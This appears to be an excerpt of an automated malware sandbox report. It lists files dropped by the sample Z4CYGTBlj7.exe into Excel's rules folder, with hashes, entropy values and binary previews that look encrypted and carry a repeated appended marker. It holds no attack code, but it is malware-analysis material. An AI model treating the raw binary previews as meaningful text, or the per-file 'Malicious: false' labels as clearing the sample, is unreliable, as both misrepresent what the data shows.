Preview:	<?xml.[..'..j..lW)....{.........0.v..J.K..5k'4.y.d _.[.9...3<?......~.C\."..u.^<.(X..y....5sydH.S...G..ipL......7.UM...`H.?.XZf.^...N..aH..~<.8.......Qg..6.L.2Io...m.....\.W..q..@....!d=...^.>.UJ..E'........>,...J\|5;1=k..f..J.^4...X..l...S......`5.cm..V..._g3.....O.U^}.<b....rU..q,..C\|....tfX3.w....\(..b...5t#c....Y.Np5\..4Y.....M..............'Q&...O.0....tN..)Y.g...@$.....].}Q[\|.....]h.j....d.J..g.u. t.)..7.k..{.r...U..\|.9(w{.;+Ln...y..,.;J.a.%.......h...[.R.8V.U...eg#\H....;........1.F..[E.i.]...?.R.]c.k...j..W....R...)H.Y..-.\|.gM.......v.9O.+..F.H2-$.H..n./j;...7.N....Z....o.;j.trg.{cb.y/..T...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170077v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.65259624712473
Encrypted:	false
SSDEEP:	12:BNNO2BMT/jd5n+1jes9MHa8B/rSRMa/Ljv3G4U7ZrPi8Y9NxZbdl9PpPIUQsciik:/NAnkqjByMQjv3GZNrPINxZxPp4sbD
MD5:	BB557DD78669FEC0290DD67A64D986CC
SHA1:	B7F933148725EAEA899A9C2491065C83DCE38EDB
SHA-256:	0696A2E1C694364214A8E1E5358CE0511B72F1B4E6F6DAFF509A4F32545E3C18
SHA-512:	FA85EE53487E424923D8897E7ED39C73DB81266B77CD98A8BB84D4B6DC4685916B1862B32181D335ABB624D2238A4F6AEA51BE520EF538BA97BE77A5085D4F08
Malicious:	false
Preview:	<?xml...~..Hr(.....t.-Q...;k@.2.....u..7....wH.......!.+~.I.pA..g..8*'.. .`.......D.........m...n<3+....Z.rp.`.g...:.&.?...'.v.&.Y...x....1.!.... ..@....^7?...(.8Ou.q?.(.(....:...^.$.~.m5.L.Z...i...Bk..z.@..(....}.........ds.....q&l.=~.......:d~....E..z.(s...K.......j.b....E..LH.x..<{l...#$..11...l~....j.....b..8.X..V.8!.m..8i.+K....9.....=...6.Y.{K7.............8TR.}./p.oqYfP..A..0^.;vp[..e.....U/..y..0...R.........s.!.....U... X3.V.p 7.C....s.H..`....R....~..F......5.]..0.]...........m....."..R...<..0..-.\|..].(z....."flp<.I.MM..;..UR....Yj~..\|...:..(J.uhA.....)=.d.`..\|...........~5B.?..Q.d...9<"<..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170078v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	817
Entropy (8bit):	7.717067520762768
Encrypted:	false
SSDEEP:	12:Sa0gvoPXuPtSDFX2RNwjc78Sy8WLdh210epdDNJmqjVooAFaxCJsmGjFavQsciik:x0xPdZ+9pWLdIRlDmMVbCCmGkIsbD
MD5:	CF804B9A2A60093A0D4BB7E0B3BB31A7
SHA1:	E2F56AC9118732973D1EE2E4111A8C313A397B75
SHA-256:	CDBF40213C325BB0D327B7DCE620FBBBE07B85E218C4BA29E80ADF4D20D9C1D6
SHA-512:	15723AF85DF313554FC8C30D4775A629B2BA86FADC61BCCEE7CF77D958DBF3C0DBAEBB0AC8CE8794B0D099C1702E17BD69FC6EF3FC6D225FAAB9C3CFA51B89CA
Malicious:	false
Preview:	<?xml...e.:.Z...3.....ss.....t}.........s2..ne.ggG.37.[.].r..=...{be..48..........{...M..%K.n.Z........!.-a.%...Mw.jR..by.. M.q.;...G..S\.by._......0gEdj>...C&.....6.....os^..........>$...{...O..8o...."....6 F.%.W....N.v.o"n..!.p.i:Cf.].p.\|.\|..g@......s..Ga.P...g...f....B....F..e<..@.[.^..f.r..Z..@.#H.p.U;...F...O....PK..Q..\|.....LA.m............Ys%p.)..F.p\..BL.p{...o;.P.NQ.Bqa.E.t...ZkLlK...;.....-....S.`.....9...&..r.(.u....u.;..A..6.t...e.).z.[..c..)..oX&.>.d.?.....b3k..[n.-...\.,.S..EQ..yv..+...%.F..fN.t..J,R.Py.........._..G.G.f..J.m..B.x.u$%..>.......Z...._-^.-0...-.=.gW.6+.Oq....+* ....J.Q,.......n`.....f.s...@.j...T..=.2".....,..m.......":..>'.....g..(3u.u.Z.".6>.)V..T.k&([.G.\|./8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170080v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.6734462395022
Encrypted:	false
SSDEEP:	12:OzhbSgDq0Vr9lHcf59Sq457hlzBSMu6g3Nexb9aem8OJnh4Y+O9XP7Uksm6reu40:OF+YDHOAqKtFxRQem8ObVx9XP7UksEnU
MD5:	84737ADA3DCD7048C754154FEC5D5E48
SHA1:	EA2EAD66090BB7168724B02DEE36D1EEE04EF4C8
SHA-256:	CC87DBE8E792D4815C20DC6B2D8E220AA98FE84BF86B6D793A117FA4E69AC80F
SHA-512:	C4662F6FDE9352514226DDDD28FC6801D90A982D8C3A3CB7D5388830D5A1D3C633307E9136AA162FFB90367DD73BF1195EEA39B588BF3F85792984ADFC29A635
Malicious:	false
Preview:	<?xml..A9<C...BN.j...&.lL.{...rA.....p....H.;CA.R.Rd.`'%9.8.0>.D^.....K..L(.jI..<3.w.k..R>a.....F...a...-..g..HGl]%P;.....7}G1dw..$..DY]...&.R.{...k...U^H...=.......L.h....>/Y....nfe.r..D..nM.'....q....kW..=pLQ.......U......(.cY\|../kI^T5..:.....\..!....y7...l...}... .F..}...t.\.o..>.".N+C.k..Fm.+..\E.{0..R.......).6_...z.......C......5.(..:.c{....xm5.RU.NVX...<.K:...PGqrv..9a..!.T.!q.w.R..4.x9...N2E}.k..M.s>..SH.bL.f=.......-}.`.u.9.....%D.e.+.._......}...~.e.a.=t^..i...:.U...EK6.....h....G..d....&..v...zJ.D.e...J.X!5..p.L;O.....Ky.].3p.4w~.T.F..._..(.^y._<....[......sI.G...`.......,..$C...&......$8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170081v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	881
Entropy (8bit):	7.7499530407693396
Encrypted:	false
SSDEEP:	24:ewGI7+V+ABG3XJtct5Xs57MOs8mP2/b2EK+tqPDiNsbD:CoXJavI7WrO/b2EltqbCmD
MD5:	D307F1E64E1B53D7AE5FEECA322C7224
SHA1:	F310E15B0BEAEC1AF2CE33A8BA74C707058F6BFC
SHA-256:	6CDB462B3A57F5FD45F07230989CAF3DF9B497A23D52206EED4C0AA241F4270D
SHA-512:	31F8824A67C992CBAE3442D373BFA799B1A8A6488D6E0689680FC8C55944A48F8DFC1506AD890D7FCDB72938587200B244CF015C06A9950C008A855183946D33
Malicious:	false
Preview:	<?xml.c#R2S..._Y.[W...c...~.(.....65.3r.m...@...ILo+]._.[..(...H.:z;.........8<26...._.:.,.._aI...R...#....i......3Z..0Waz~.}.d..24W..a..au>...E....i#.[..z_....&.....&...G.?:.......qjb.:.v.?$.%....................$1pV.x...dxwh.;)..6....e...!. ..+{I...i9G. -....hN.....qYE0^.G.....Z.I ...~..q\|..p?..)C...$..P....ES1.f...H...^w.7vl...U.}.!d.....CJ.L..1.._%.qxS.).Y4..... ..........F5w.^RgT..u....6,.kD.o..(...7...B...h..e....B.p.!.#..C......7..ML.....l._d.B.. =w..%L.Ka...A+[n.]...B3.......q.7.W..>`..,..xiR3.}.....A...b..U..S...x..9..a..U..Q...3GvK3...Cx.. ...,........~....@.sS.I...8mG.l.?`.+..\...-S..C...24Nb....,.5.,.aF.a..../.!2.y6.....m.}"^.}......eqv..+.....VM...D..}.]..W[......0.o+....&$.F...._..ot.......j..O.i....z...<...=..t..U. "^....T.&J. ..?>].8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170082v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.7246201559056775
Encrypted:	false
SSDEEP:	12:gqOJciDdpdLFvMA5dhJQXnUtxSv4NQHx/+cTOU96aTOIMPEQscii9a:gqM91dhJftxE41U96aTODhsbD
MD5:	841949941D8C912733F6DC6381A9897B
SHA1:	3B9E9E2FC7E4E3DE72675ED10DA2E2F3AE7AA915
SHA-256:	11B45602CD7403FB18ACB107FD7E3E86CFF72939BC543C552A0B203292E6074D
SHA-512:	2C1B88CBD43EC2704CB95482FFAC1EDDA5CE8737184FF0241EA299F3088654936D5C71B2E13B00332FDD685EBC3ED0A03DFD6D2E9C7FB888DDE7B4FB59E0389A
Malicious:	false
Preview:	<?xml]U.e.f.u...uc...\8`.f....bS.F+..~..z..Z....^w....O..M.j.Cm`.....\|I]s....v..(!.^..0D..8U..&....X......\|.....$.K.k..o."..4.EP.{.b.........#..f..<........6.!J.........d....&.Y..F.h.l."S...O.......... .a ..B[..........yaV.YIk...8......}....\|.PX........;.lO(.K...]...\|5....9...i+......@a{...O.....pX.?46.I..>.Vk.D7...?$..hwymX.g.O$8Q2.i.'BBQ.....M..'=....>...D.e....J.v ..3O.K...^.......(...+'.cN-.Y=.......e.....#./.....dX/..c.vY.....x.}...".:..9`.(p.2.?8[...:..m.\(.^F....?..=;.J..z....IV;o......i.p.....o.G6}.t..C.H.KuP..g.......Z<M....c.w...gh...I..J.....9...Bc.f....6..lS{......v...ir.o..{.........9.....q.S8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170083v6.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1421
Entropy (8bit):	7.870822789634334
Encrypted:	false
SSDEEP:	24:Uyz1pnfkpvR4ffT1f3CpuMxdfcz6co33wVqX3gAMWEWc/puTqK8nBFgBF81W+Sb8:Uokp6fl36xFTcIwwQec/ATq3BF2GW+S4
MD5:	F72211AB4139830775C621BE7AFE8395
SHA1:	4964791A15520CAFFCE675B76BD3CF1901DD4986
SHA-256:	1B517E55FEFDFF1A481FF353ED26E947DECF3865D620E27914EEB20CB5693267
SHA-512:	00D7227C8079A32B9FB930B506DA50975B618A117D084541793CA2ED9AF2D2E2C518D2EA85AD70E8D46BFEE2FE8919CC63596749B55E5A99F518C99B1155163C
Malicious:	false
Preview:	<?xmlo.\|.\|...,.X.....[."..s..r..o...>..XY.g(..kB1n..fk#.....=..[.jgt.+%...4u}Y3....r..@+.R<Z.?.q}S.......=nl@u.>l...Q....s..[8.`.-.I...O..E.ef.#..o>.e.3.."}..T.O..6.S..s....`..D%b.O.V.'./A....K5.i[..,_...f.&E.>@..OHp./4.....P.T.Y>..=.m.3`.z..=..}z..D}.k.a..]..'.a...@(Xy...i..........X....&J........z5.\...i...;.......9.......a...6ns.V.y~.....6..!..1..Ic"].`...h..\}t..l.........z..;.^.5.[....6.t.P....L.....H{xh..#.d.....'6...\|..k..:]"...\.f..w.P..n@..(`..x.........7.....e...\|.2....drT.~.._Y.iBO}.#)......!....G....~M....\|\|.7W.......[.2D!3...!...l..;>.\..Y....l}&...C."l........]..):LX.j&8...,.....r..\|(f..;....a.!..A...C..7Hr.,V....N....$.42.U./}c...Zl.e$.B/.....yo.x....B0..4.Y.a..Pzh"S.r0.eR\|k.d.....t4..a.x.....o......C.....m65X}..w_.....5.".C.[..B..1W.R...j..zf.^[...W.......ES].t. ..q$._...N+.....~.;...&...+=?-jw...0..j....g..$..K......v....ao..D..Kh...j..SU+N..KeDL.^..a.#V.+.'D..y....z....Z. m.Nq....%.y_..m>.....FU.&?...]p,..S.l#.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170086v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1171
Entropy (8bit):	7.816369832974233
Encrypted:	false
SSDEEP:	24:ezEbEGtsvFQb0RB3lcP0H8S+MDQX3i0ukoLfTZnWOyDCg/o6aExsbD:/hts+McP0H8SJDitoPc8Eo6pxmD
MD5:	7C2E43169C4B20044B92D0799587DD95
SHA1:	FA9C2113E71F304BF44B448C7B7408CC5747A337
SHA-256:	860BF41767418B6E515C0CED2A5FEA53B62474F51F6E0637D523A6828FAE76A4
SHA-512:	C22F0B953069906B107BC543AB0F11FA1FBB9A911AB838AD2CF834105F2C947EFE4AD0F5D494ADA11859AD6743D6D6E402374641E9474B94E9CEF5EFD124A412
Malicious:	false
Preview:	<?xml ..4Gt..iB....#1.x...Pe..b..^.S.vG....?>......P.D>.xl..3.s6....2.>.K....m....`.dM.E7.Tv.....3..ci.......H@.3/.g....^L.r~.yJ.r\|.l....N.P-!....A%...)!X.{...b.Iw...4...Ys..Yj..z..v....L7~......./...{z.>fR...U4.&.....{..or.U..L?#.L.......-...J..oe.X.X&`B.\_.'.{v..."..8.E.O..f.......#m`4..e.M...V5.....l.8....j..O..wot.z7L.D.....a...D~xv.:..@..3....V.0...<.y$N.F...DB ."......k...#!......g\..Qxk..P.d.......7.}.b.!.u.J...U"/..d0M"I".'W.....x.'....\Q.c.A..E..H7D.c.9'h.....[....&I...VQ....(.\M.z`..I..+x%Q._y....=.......'.......n...).n.3..l...T.{Xl..{.a=4..2..Ei..}..y<=9..`...O$..M."\9....y.`.Aq...1....Q..#....2<<...w.t..<O.....+.).i.E"..V(%..tFK.,_.7$....r`.Q..{.L .G.;....\x^2.(..q..jd............._z..4.....y.>.L5iv.J'.^q.aum.gw...g.k......."...:F-y...~..j.;H......%/.....pB6.*...pf`.....E[LS'..6+..$x.?.]......E.U...i..X.T.3.!..sN%.....J....T".Lp.....m.Z"A...d..4....{.c............,.X...o.Wb}.!..z./..7...D..5B..L..A.:.I...T]...$}.]..Wmi.I.3.1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170087v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1176
Entropy (8bit):	7.8113515766455786
Encrypted:	false
SSDEEP:	24:woEj4BYwY/e9pSEsm60TD+wOQiSgQEs/ErUoStDVVtOv59rSpb2fsbD:mj4ewN9p5snuDiQVRMoOv59rSpb2fmD
MD5:	AD9F12645616DDBBA1B9B2D4D6140CFA
SHA1:	1DE786479ABDB1D13FC479F9615E744E638EF0D6
SHA-256:	BCE61421B68D749FF1DB3D60C276F26F48055E49E3DCDD565327CFA59129BE57
SHA-512:	C165D23C6F8D04EE041B7BD10488F99A563DE122059911A5A846E9217114C8EE45DA4A77199244C3157B69BC758C0616BA8CB92F0627B8E763F00A0F39B83517
Malicious:	false
Preview:	<?xmlx...6.k\|.'=..{...>.-..$.Of...!...m..V.".:......WA..X<.VB......}G........da.i{.5z...a.X4.....7....O.-<KWf..9.$%.8.W3fG..s.z.(..-V$$RW.mwsv..AW..wh.v^[a..>2R.".\|Ha.....U.!.J.,....7A..C_.9).`i...x...#hM..r.XH(..w......U.l]......I.u.aXN~.\|...^9..3.....5..q.......S7......u.i6....^..H....J!.#{%>.....C)KuZ..).m;0..t..C...9........c.8.....o...wWC..y.0..k.yw(F.N.v@".Bl..........d....&.P.5.j.5.v(.&...S.f.7WMr..z.]7..#x.......Q...U@.....l..!>w.R....f....:@%.....K..........B!.8..dSH7...w.i:.........q.:.eY.[W.Y..&a{A....G.[..(.i4X....\|=...t.B..,.+"HKE....}9.EK.A.f..F.7i.3.~..s...`JX.".Z...s....-..}.~...s...w..;L...$..M r.I,....O.u=.iH.1p.P.z..a$(T66.@7t.G.?C...g.f.e1n.#GU:3?..A.).?.Jk.z!..C.wM..<.[.3.0~..E.K.....cH.....]2...P>~.Q.R..C.~..q..:\|S....ik.NL....Q\|P.F#...`.d...zz...nX.G8.l......y..B..6/..Z........y....?.>R.....Rx..;.....a.c..a../V.....e.d...S.A...D.....Kr...?.g...$.W0.~&#...8..Q.[..B..u.(T..J...qE._...E.Zq....M.._F....b...p.A-.....<.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170088v3.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1155
Entropy (8bit):	7.832227681632003
Encrypted:	false
SSDEEP:	24:nyzgaqRsvR45mio93aF/CIWJ6cKU1Pabf3sbD:nfpeZ4a93aF/CIh7PmD
MD5:	2922A7916BDB4CE8F1DB821E651B40E5
SHA1:	403E9580769C0F99D2D01B5E86DC062550D0181D
SHA-256:	A7AEFF3F99B0A45D77353C03B3FF17AB084E4BD2345C6E566CED099D11E1FB85
SHA-512:	50D3566D9164E6768024EFD3915FA5BDEEC2AF1B10597EE7DAC42839D1888CC7E39058029671226379238C8D75A888BB35A3436713B3BBB0C57B096195EC690F
Malicious:	false
Preview:	<?xml..k.9....3.Q..&....x..x.....I8.#Ll-F.in.LRH........]....X.....fL....W\...P.U2L^w>J.$.. ....Y....n...u.[...-^...I9YyE.3.).......F.h]G4..%bs...o.?...a.....8{46.JX...W.l...}....U.Z.\z.6.F.,.@..}......#..W..>].b.>e....l%.>..OyW//I.k.}(...?:.H..+k.J.\|b.o....S..w..f....\|...'..6Q.b. M...l!K.I.o.pRt-...7....%T........\..=.J..>.y..Y.<u.pI..a(.8..1.M....B.D.'-L.h .V..T..HON.iq.;.....b.Ji.X..........T.C.{.....Y.;*.SL?S.l....g...4M.."....L..Ms.....(..Q.F. ;nm..._R.W.O.4<m..Z2.9..Xc...b...-..OlGc.D.&1....M.{.. ...\|._a...+...NK.v'g.Ba..d"c.o.a.>.m.$...a..s......... .}_....(.F.e1...^.~...3..3.=6.^.%.j6g...2.y/..%.W..w "..C.g....d..u)gGr.\|,..A.\%...d.~...X...J....y.s..Jg..,.......T...Ps.2r..Ag&.&s..........l.....ip@ylg7,.....T:.es.ML6C...;m..z.[W...\|"l].[6z....r. ...]..q._E2..u...M...W.C2o.+O.~./aa.%8....]\|...........Y.......!.......[....e..H.....5.Ux....#...I(..7.i....c.2......#5(..i8.4.<..s...%.\'..[......a..K..J?...r.Z.}..SI+.uhU..bfbH

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170089v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	715
Entropy (8bit):	7.693590348767814
Encrypted:	false
SSDEEP:	12:y4jPUxLtaw3xAbEombqNioJ/pGlEp2ldXxNiOYjElFVLMF3jIgQnIndgmtROOxuO:VjMxLl3oEom7oxpn2nOjyFVIFT+nIdcs
MD5:	801CAC3D36692DB69561B3A39E99FD3C
SHA1:	DF7D5A08A095BC9AF54CA2DD81ADF96B42EDE8CA
SHA-256:	4C6380AC9219445B8DB151D2C93F6F28A0BD48C1C7F2A282B9B761AA29143DCC
SHA-512:	046DBE77EA35CEF7B942E263907B080FDAB814AB68BDCC4259CABD82D9F5E9A583DFAAFE7F661FEF16BA2CEFC1D9CCE39A31510619E821B4D355656D9D96CA6A
Malicious:	false
Preview:	<?xml.0...R.M...2... .`.....V.....9Q......F.B..'.0....4a.D9;j@!_\r;}....$h<_..@......"..!.W......+......1..h.C...5.?..7.m...L\|O.~.....!).....,.... KR-xs?...0.p.3..l.....;!..y>..:...........#kJ.41+._.x...Jb..L~.......S.#5.J.....L..m!.d..N..\23g.>....`p..4r..w..2...(J...;.4n..[..S..1....+.2k.VM`a.....}z..Q2...[=....+...0......;:........<c..,j.F......=1.\|[....).W.w.t=...P/.oz.sp.].H..o......t.}.9.Q..[9.2.D.?...ua..(.ie>gG..}.....f....?...(M!."}.h....g...E....*..[...A..\:........Z.....B....wh.Aq....!...0.apY5..).V.\.6. A..j.`......S....Vo<..h..(u..m......~.~.w+,1.v...H...]SU.'.d.R..%..H......4<.l8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170091v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.862629877323534
Encrypted:	false
SSDEEP:	24:Tcj0oPTMnPEblfREzJcE5Rk+stHACjpZ/d8D8jWL4cINIqeLyKrHL7FpwddResbD:T0JPTGEbAz75REHHZqD8jWLusrHdpwjh
MD5:	48264481E023EE84CDC4ACCD242C11A6
SHA1:	9E68405CF0A5E57082E03BF8260125395DE47B99
SHA-256:	406ED4D407455216ADCBA24F231416319A0D6F620E3D64A69B19FB4ABFD7CF0D
SHA-512:	492F7DD14A9824BBF011F7E811C3BE553BA7B27B122B51446F8D9103974EB807DE96DF119E03E8DBBF4F484404DCD34570D07AD5B9B159C82656DDCADF9833EB
Malicious:	false
Preview:	<?xml..lA..f.'...1..%?K:....fg^.x..^.....c^(5n...-.9.N.......6.b0;....2...'P..4]...p...pJ.7................U..b.R.$`.......\)M.w.zs..)_....{s.\|l.......).f.4....8.........DG./.MZ..B\.-.......h.&i.\|..z2.8%#.d..m...B.....v\..k.......J.]...78....l..:n..7!a.qHsED.S.M+...jG...l.K@D...'...%V.Gv..O.....\....>.TO...$...)..A..O...I.....<.T.x..fA88~....f...{.n....2....J...ema-G.$.......`../../Fe#4.f=.{.g...6.....ip../...9.....5...r.\2V+..E(...3..As...4.P.n<>>{?..f.P7.z.....=......]~..d]... ....Q<s..=I.KT..p.....'..{.~.<-..(.d.172H...i......,...!=c[r ..9.GGL..jI.F....`.!a.ccUb.^.A..^.G.-....W...-M..3.I.....l..P.]d.>{y.~...m...`..K..u/Xb,.:..;0......vYt.{2.p.6..e..L}..b..Z.......<u..p.1.zd.4.~.@....XZ....y.........N...Z.6x...N`..'......Bby...q..[..L..4.PwM<.2.Z@.HT.8...b.eq..qwId68s...zC.._.+^.2.%..G.."]....Y..t...,.v...p.Oh.V.!..'M..(Uc......+...k~$.g...;$....q.....d.X..\|..B..*.Z`'+....gE...e.T....8..S.aj..6.....=.n.J...)i.l..-.+.b..8~<.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170095v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.774166888347491
Encrypted:	false
SSDEEP:	24:QBp8n3QU/kRvPSDzXlZx+79TSnH31z3KhAu1nnauWCsbD:IprU/SnezXk7hO31zcaRCmD
MD5:	5FA5CD351AF41B42F7820AAABC2E987E
SHA1:	77E044A302ED62F9DF370FB16F6A4D000A9B65F6
SHA-256:	FEB93CD4922A6CBEA366D67D40048665B4EBCE21ECDE247FFD71905ACC1C26A4
SHA-512:	A8A8F1F9AE3F5AA7DD543FB95FA27199D382E3407E0739BCCBCF5FEF07339020FF75D4DE79CDC78A938424C48BC3C4C8411872C8D6189210A33F64DF7038A878
Malicious:	false
Preview:	<?xmlvZ..I.0...M.Jp..6..F...c..@K.z.[.\|W...a..<X.f.......K&.?.....+..s.Rb..OBY..0.y...!.."$.#S...Yo..........H....nb.i.3<.l..Y.....t.i.%"...7.5..].Z....}.Cy.y.\|.&..3....).S.yt....L....e+8...p....2.UX`..#.;.y.....G..sRm9.h..A.ORY.^..?.m.n.}..f..wX..C.....^..c.x(..V.../...0..]....l.p.C8.3..Hf..4...0v/..]..\=.[.....-..E.....&.b....8.(..!.V#:E..... .V..W.!....;....{...Jll.O..N..~...I........_......e.`.,_.....i.,y4c`Qq.......e..\....]d...y.k)...V.q.~.b1s'..7..B...=..n...zK..f..sD.....].6T.T.S...s..~.^,..H...z..t...[@../.....2eT=jAE........L^..n....U.5..]....4...)k.ox..>...k........@z.....5...&....c..2...w...Z.m.Wu.z.o!.%b..L_..$.........&......>X....Cy.0...-z...t.8}x...:Y.)@1.r..W=.%....Eu...n.1..[....X.K.o....M..u5,}.$..g....xh.^.:...\|<.d.2.r.t.>L..:.w..:...>...7.9:[.Eo.9r.!z..6...b..:.._..6......?>v.....C..L['..x;.9V.}........;.B..1...y..CF7..O.@.0..c.z+.Bq$n.\|p....(....=.S...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170096v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.684032091664119
Encrypted:	false
SSDEEP:	12:CkHmCZGt5hMQKrA2+1JcYCpVD9YG/+Kq962aqXn/T13amCa5GR3YVeEdYQscii9a:hZ25hyrAdJcYCrDydXnB3atkGR3CeEP+
MD5:	E0FF1B1153EABC70BB0C1892C0D44D44
SHA1:	6C6320024E1A836F7E628CD681022D7930EA097F
SHA-256:	17C1C8156AD87D7DCCAE0334D3EA6D1E6726665CA2EAA3987CD4985435510B23
SHA-512:	3A082D5EF3064672B25E894469ADEB27B11043760A60924ECB3F58AD3C7CE51585E1DCCD83888DE2773072037F84C23D30E13B270619EB311AFE3E1542D22BD9
Malicious:	false
Preview:	<?xml.LB...k.7..].d.........9Q....G).5..{v...xG.4.!.\.^R=.^.G.q).[.4hyN..-k..<....D.....n,..E.h.1[.'..B...(.5..-5~F.mw.......r.....eN...p.....He.D..aL..Mf...5.b..O..Q.....mU..n....0..HJ...R......+0u..O..>%u... ....]O..8...:..ioKm...JU.(....%.1.......I:.5....8r..[.k..8.N`..'vq.#nu.z....A.....Y..p.{.w.`}..1]....Fr.....0.;.Y...#.5#.....m....1..\|.l..mV.y`.kn.e..f.p.n..D,..f..'.)~...$.R..\WY.....U.H.]........^<'3...i......7.w..= .C".H.x<).b..L.....!......P.v...q.....#....4/.?..[!."..$.U?,.>...1...^.,.\|.S.#".;.D.....3....o..R.....(."..)....R..-!.U**.Q.e............e.....H..K....A..v?.y..J%...r.G.gX.\j .b8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170097v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	793
Entropy (8bit):	7.715585093926288
Encrypted:	false
SSDEEP:	24:GYlfRj8APpG7pEmzGhD42Fm8HVaHyHKlDT5+/pIa6sbD:H518EpspzuUF8EHlD0KXmD
MD5:	9BBFA830B704BFE31D201458F1DA9215
SHA1:	80E7165F386CFBBDA2AF9AC6FDB499ED83844EC0
SHA-256:	0C875D091D73F4DDCDBB47BEFE49EEA03FC0A7F2495C1D597F54738258906BB7
SHA-512:	9F76BA13A86FF5356B9F997ACF6A64AD7D9B7405A2D266B84565B432986FB6EFC9A7576867A48F2F673DEDAFAE83BBC17816217D144CBE3CBBB82ADC9A5EEC6C
Malicious:	false
Preview:	<?xml..l...;.w...N...Z$.WF.l[EpX....n>c[#U...-G.....I....[D.e.....g...X.q..t...XK+......3L.j!.=..[....Wt.2.S...S<..$IgX-I).K'....LD..w.Op-.........C[E,.....3x...d.@.L..%.......!...O....3...l..A..l}/.0...3.M.C.....<+..(!C@,LP.=..a.>..={]...dU...8......i.........+.J..%...e.PG.X.T.B.4......f.D..'.h.......\|.$Q..M.~^=F.3.@.....NM{.k....W.p...%....CJK..8.5d..<.VS.m...4...D...Q..........]6.zn..j.YT.&.f....8.n.%'.L.4dw.B...Y.w.st^..Wm{.Nl.......(...>.FR...Hb]...%......x"..8...cj..../.{.\\o.....t......q..Q...m..u..*...6..i...HF7..%..Y.$..%.bn.\8..FB<".n.R..=.p.v:..U.\^..+...<.....Zrna=r7...J..w.[.....e. /&..Gh?Y.....L.lE.x..Cf. ...U.....G........k... ..G[..g.3...:.N..;...,7....F..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170098v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.698019382643828
Encrypted:	false
SSDEEP:	12:ZRXQuTgKQgMgbjuAILTpQJHz25Q7LxE2UgWi+WMlUnpyXQJNhlh4F38FQscii9a:ZRgFDGjDIHpQDN69e8AemqsbD
MD5:	71F7F3510AA0BB1A5DB7F9B613C5C15D
SHA1:	B8BF85E6879AF8C3C58B3521A3ABBA746AA3EBE5
